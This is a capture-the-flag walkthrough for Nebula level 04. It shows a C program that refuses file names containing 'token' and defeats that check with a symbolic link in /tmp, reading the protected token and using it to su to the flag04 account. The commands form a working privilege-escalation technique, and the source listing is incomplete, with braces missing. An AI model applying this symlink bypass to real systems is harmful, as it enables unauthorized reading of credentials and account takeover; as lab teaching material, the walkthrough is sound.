Nebula - 04

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This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it. To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);

  write(1, buf, rc);

Getting the flag

According to the task, we have to read the token, but if you pay attention to the code, you will notice that you can’t read files with the token in the name. We don’t have permissions to rename the token itself, but can try to create a symbolic link to the other file:

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/l33t

Let’s check the property of the new file in the /tmp folder:

lrwxrwxrwx 1 level04 level04  18 2021-06-15 01:07 l33t -> /home/flag04/token

So, our new file is now linked to the token. Let’s try to read it:

level04@nebula:/home/flag04$ ./flag04 /tmp/l33t

To get the flag itself we need su to the flag04. The token that we just read will be the password to this account.

level04@nebula:/home/flag04$ su flag04
sh-4.2$ id
uid=995(flag04) gid=995(flag04) groups=995(flag04)
sh-4.2$ getflag
You have successfully executed getflag on a target account